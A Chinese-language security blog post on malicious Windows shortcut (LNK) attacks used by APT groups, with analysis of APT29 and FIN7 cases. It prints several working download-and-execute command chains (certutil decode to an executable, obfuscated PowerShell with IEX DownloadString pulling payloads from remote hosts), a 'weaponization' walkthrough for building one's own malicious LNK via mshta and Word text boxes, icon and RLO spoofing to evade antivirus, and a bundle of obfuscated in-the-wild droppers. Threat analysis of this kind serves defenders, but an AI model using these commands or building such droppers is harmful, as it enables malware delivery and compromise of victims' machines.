前言
今日揭示一项众多APT组织常用的攻击手法---lnk攻击,因为该项攻击可以创建一个新的快捷方式作为间接手段,可以伪装使其看起来像一个合法的程序。
目录
0x00 什么是“无文件攻击”
0x01 LNK攻击剖析
0x02 案例分析
0x03 样本全家桶
0x04 参考链接
0x00 什么是“无文件攻击”
安全搞了这么久,好像经常有听到过APT的一些攻击手法,例如“鱼叉钓鱼”、“水坑攻击”等等。这里着重介绍下“无文件攻击”,这里的无文件攻击,并不是不带文件的攻击,通常是用来指恶意程序没有直接落地到目标系统的磁盘的攻击手法,一般情况下“无文件攻击”会把有效载荷直接在内存中执行,或是注入到其他进程中进行恶意操作等。正是这种不落地目标系统的攻击手法,也是让很多AV(Anti Virus/反病毒软件)很头痛的一种攻击手法。
这里借鉴一下FREEBUF的一张图来概括
0x01 LNK攻击剖析
一般我们创建的快捷文件属性如下:
其中目标给出了我们执行该快捷方式要运行的程序。
再来看看我们的恶意LNK样本的
由于快捷方式的目标最大显示为260个字符,所有这里并没有显示完全。
因为命令行参数的最大长度是4096个字符,所以这里通过WScript.Shell组件去查看相关信息
需要修改的时候可以直接通过如下方式修改相关参数,并通过Save()保存
$shortcut.Arguments="/c certutil.exe -urlcache -split -f http://xxx.xxx/xxx.txt"
Arguments字段如下:
C:\Windows\System32\cmd.exe /c certutil.exe -urlcache -split -f https://img2018.cnblogs.com/blog/1124287/201908/1124287-20190829002736724-406457580.png %USERPROFILE%\AppData\Local\Temp\a.png && certutil.exe -urlcache -split -f https://img2018.cnblogs.com/blog/1124287/201908/1124287-20190829002736724-406457580.png delete && certutil.exe -decode %USERPROFILE%\AppData\Local\Temp\a.png %USERPROFILE%\AppData\Local\Temp\b.exe && C:\Windows\System32\cmd.exe /c %USERPROFILE%\AppData\Local\Temp\b.exe && C:\Windows\System32\cmd.exe/cdel%USERPROFILE%\AppData\Local\Temp\b.exe&&C:\Windows\System32\cmd.exe/ccls&&C:\Windows\System32\cmd.exe
大体就是通过certutil下载远程的PNG文件,并通过-decode解码成EXE执行。
C:\Windows\System32\cmd.exe /c certutil.exe -urlcache -split -f https://img2018.cnblogs.com/blog/1124287/201908/1124287-20190829002736724-406457580.png %USERPROFILE%\AppData\Local\Temp\a.png
&& certutil.exe -urlcache -split -f https://img2018.cnblogs.com/blog/1124287/201908/1124287-20190829002736724-406457580.png delete
&& certutil.exe -decode %USERPROFILE%\AppData\Local\Temp\a.png %USERPROFILE%\AppData\Local\Temp\b.exe
&& C:\Windows\System32\cmd.exe /c %USERPROFILE%\AppData\Local\Temp\b.exe
&& C:\Windows\System32\cmd.exe /c del %USERPROFILE%\AppData\Local\Temp\b.exe
&& C:\Windows\System32\cmd.exe /c cls
&& C:\Windows\System32\cmd.exe
效果如下:
而且还有窗口下载的延迟效果,确实够憨憨
我在这里绘制了一张图来概括该LNK作为加载器来执行恶意行为的流程
用Mcafee扫描一下没啥毛病~
还可以更改%SystemRoot%\System32\imageres.dll中相关图标使其看起来更具可信度
0x02 案例分析
看来越是简单的越看不透啊
案例一、疑似APT29网络钓鱼活动
恶意文件伪装成美国国务院公共事务官员共享官方文件针对多个行业的入侵企图,包括智库,执法,媒体,美国军方,图像,运输,制药,国家政府和国防,具体见图:
里面只包含了唯一的一个恶意链接
点开后会从恶意链接上下载一个ZIP包,里面包含恶意的LNK文件(MD5:6ed0020b0851fb71d5b0076f4ee95f3c),其LNK文件将会调用Powershell执行如下命令
powershell.exe -noni -ep bypass
$zk=‘JHB0Z3Q9MHgwMDA1ZTJiZTskdmNxPTB4MDAwNjIzYjY7JHRiPSJkczcwMDIubG5
rIjtpZiAoLW5vdChUZXN0LVBhdGggJHRiKSl7JG9lPUdldC1DaGlsZEl0ZW0gLVBhdGggJE
Vudjp0ZW1wIC1GaWx0ZXIgJHRiIC1SZWN1cnNlO2lmICgtbm90ICRvZSkge2V4aXR9W
0lPLkRpcmVjdG9yeV06OlNldEN1cnJlbnREaXJlY3RvcnkoJG9lLkRpcmVjdG9yeU5hbWUp
O30kdnp2aT1OZXctT2JqZWN0IElPLkZpbGVTdHJlYW0gJHRiLCdPcGVuJywnUmVhZCcsJ
1JlYWRXcml0ZSc7JG9lPU5ldy1PYmplY3QgYnl0ZVtdKCR2Y3EtJHB0Z3QpOyRyPSR2en
ZpLlNlZWsoJHB0Z3QsW0lPLlNlZWtPcmlnaW5dOjpCZWdpbik7JHI9JHZ6dmkuUmVhZC
gkb2UsMCwkdmNxLSRwdGd0KTskb2U9W0NvbnZlcnRdOjpGcm9tQmFzZTY0Q2hhckFy
cmF5KCRvZSwwLCRvZS5MZW5ndGgpOyR6az1bVGV4dC5FbmNvZGluZ106OkFTQ0lJL
kdldFN0cmluZygkb2UpO2lleCAkems7‘;$fz=‘FromBase‘+0x40+‘String‘;$rhia=[Text.E
ncoding]::ASCII.GetString([Convert]::$fz.Invoke($zk));iex $rhia;
该代码中带有一定的混淆,比如FromBase‘+0x40+‘String就是FromBase64String,来解密$zk中的base64代码。
解码后的命令包括额外的PowerShell,它将ds7002.lnk的内容从偏移量0x5e2be读取到偏移量0x623b6,base64解码提取的内容,并将其作为附加的PowerShell内容执行。
案例二、FIN7的网络钓鱼
FIN7已将VBE作为OLE对象嵌入了一年多,但它们仍在继续更新其脚本启动机制。在当前的诱饵中,恶意DOCX和RTF都试图说服用户双击文档中的图像,如图1所示。这会在文档中生成隐藏的嵌入式恶意LNK文件。总的来说,这是一种更有效的网络钓鱼策略,因为恶意内容嵌入在文档内容中而不是打包在OLE对象中。
lnk会调用“mshta.exe”并传递如下参数:
vbscript:Execute("On Error Resume Next:set w=GetObject(,""Word.Application""):execute w.ActiveDocument.Shapes(2).TextFrame.TextRange.Text:close")
参数中的脚本组合了文档中的所有文本框内容并执行它们。
武器化
看了FIN7的案例之后再结合前些天看无法老哥的文章,可以结合起来实现自己的武器化步骤。
首先创建一个恶意LNK文件
具体的恶意代码如下:
mshta vbscript:CreateObject("Wscript.Shell").Run(CreateObject("Word.Application").Documents.Open("C:\Users\wh4am\Desktop\Bots.docx").Application.ActiveDocument.Shapes(2).TextFrame.TextRange.Text,0,true)(window.close)
通过mshta调用Word.Application获取Bots.docx中的第二个文本框内容。
打开docx可以看到有两个文本框,其中第二个文本框的内容是:
Cmd.exe /c calc.exe
所以该LNK恶意文件具体的内容就是在运行后,获取第二个文本框中的内容,然后调用Wscript.Shell组件的run去执行该内容的命令。
这里我还通过类似的powershell也能去获取文本框的内容
相关代码如下:
Invoke-Expression (New-Object -COM kwps.application).Documents.Open("""C:\Users\wh4am\Desktop\Bots.docx""").Application.ActiveDocument.Shapes(2).TextFrame.TextRange.Text
“咦,小编同学你为什么要用三个双引号啊?”
虽然通过powershell会更好一点,总比mshta被AV群殴好
虽然powershell还是会有一些小毛病,不过不妨碍payload执行
唔,powershell牛逼。
还可以通过RLO欺骗技术来做成一个png格式的
这里后面就不细说了,纯属技术探讨,切勿用来不法之处!!否则小编不负任何责任!!!
0x03 样本全家桶
不要误解这个意思,只是把我网上搜集的利用思路看了下,其实都大同小异。
Powershell.exe "$lnt=[string][char[]]@(0x68,0x74,0x74,0x70) -replace ‘ ‘,‘‘;$lnt=$$lnt+‘://url.cn/abcd‘;mshta lnt;
http://url.cn/abcd --> hat文件
powershell.exe -noP -eP ByPass -nonI -c "&{$u=‘finmstr‘ -replace ‘m‘,‘d‘; $vas=‘powershell -wi"N "hi"dDen -c { ‘+$u+‘ /s jerdolikab c:\users\*.lnk}‘; $ir=iex "$vas"; "$ir"|iex}"
cmd.exe /V /C "set x=C77jhd2766:\\77jhd2766W77jhd2766i77jhd2766nd77jhd2766ow77jhd2766s\\s77jhd2766ys77jhd2766te77jhd2766m377jhd2766277jhd2766\\77jhd2766w77jhd2766b77jhd2766e77jhd2766m\\W77jhd2766M77jhd2766I77jhd2766C.e77jhd2766x77jhd2766e o77jhd2766s g77jhd2766e77jhd2766t UF77jhd2766H77jhd2766K77jhd2766m77jhd2766xi77jhd2766h277jhd2766, fre77jhd2766evi77jhd2766r77jhd2766t77jhd2766u77jhd2766a77jhd2766l77jhd2766me77jhd2766mo77jhd2766ry77jhd2766 /77jhd2766fo77jhd2766rm77jhd2766at:"h77jhd2766t77jhd2766t77jhd2766p77jhd2766s77jhd2766:77jhd2766/77jhd2766/st77jhd2766o77jhd2766r77jhd2766ag77jhd2766e.77jhd2766go77jhd2766og77jhd2766lea77jhd2766pis77jhd2766.co77jhd2766m77jhd2766/77jhd2766a77jhd2766w77jhd2766s77jhd2766d77jhd2766x/77jhd27660977jhd2766/v77jhd2766.t77jhd2766xt77jhd2766#0277jhd276650177jhd27664q277jhd2766977jhd2766I77jhd2766S77jhd2766q77jhd2766c77jhd2766z77jhd2766v"&&echo%x:77jhd2766=%|%ComSpec%"
set x4OAGWfxlES02z6NnUkK=2whttpr0
set L1U03HmUO6B9IcurCNNlo4=.com
echo | start %x4OAGWfxlES02z6NnUkK:~2,4%s://get.adobe%L1U03HmUO6B9IcurCNNlo4%/br/flashplayer/
set aZM4j3ZhPLBn9MpuxaO= -win 1
set MlyavWfE=ndows
set jA8Axao1xcZ=iEx
set WMkgA3uXa1pXx=tRi
set KNhGmAqHG5=bJe
set 4kxhaz6bqqKC=LOad
set rwZCnSC7T=nop
set jcCvC=NEw
set ZTVZ=wEbc
set DABThzRuTT2hYjVOy=nt).dow
set cwdOsPOdA08SZaXVp1eFR=t NeT.
set Rb=Ers
set j4HfRAqYXcRZ3R=hEll
set Kpl01SsXY5tthb1=.bmp
set vh7q6Aq0zZVLclPm=\\v1.0\\
set 2Mh=pOw
set 8riacao=%x4OAGWfxlES02z6NnUkK:~2,4%s://s3-eu-west-1.amazonaws%L1U03HmUO6B9IcurCNNlo4%/juremasobra2/jureklarj934t9oi4%Kpl01SsXY5tthb1%
@echo off
%SystemDrive%
cd\\
cd %SystemRoot%\\System32
echo %jA8Axao1xcZ%("%jA8Axao1xcZ%(!jcCvC!-o%KNhGmAqHG5%c!cwdOsPOdA08SZaXVp1eFR!!ZTVZ!Lie!DABThzRuTT2hYjVOy!n%4kxhaz6bqqKC%S%WMkgA3uXa1pXx%NG(‘%x4OAGWfxlES02z6NnUkK:~2,4%s://s3-eu-west-1.amazonaws%L1U03HmUO6B9IcurCNNlo4%/juremasobra2/jureklarj934t9oi4%Kpl01SsXY5tthb1%‘)"); | Wi!MlyavWfE!!2Mh!!Rb!!j4HfRAqYXcRZ3R!!vh7q6Aq0zZVLclPm!!2Mh!!Rb!!j4HfRAqYXcRZ3R! -!rwZCnSC7T!!aZM4j3ZhPLBn9MpuxaO! --%ProgramFiles%\\Internet Explorer\\iexplore.exe
上述是我找到的四种方式不同的恶意代码,如果你有不同的思路或者样本,欢迎留言公众号交流哦~
0x04 参考链接
- https://attack.mitre.org/techniques/T1023/
- https://xz.aliyun.com/t/4143
- https://www.fireeye.com/blog/threat-research/2018/11/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign.html
- https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html
- https://github.com/EricZimmerman/LECmd
- https://bitofhex.com/2019/07/15/deriving-intelligence-from-lnk-files/
- https://www.malware-traffic-analysis.net/2018/10/19/index.html
- https://securitynews.sonicwall.com/xmlpost/lnk-file-is-actively-being-leveraged-to-run-file-less-powershell-script/
- https://www.freebuf.com/column/203131.html
原文地址:https://www.cnblogs.com/wh4am1/p/11444190.html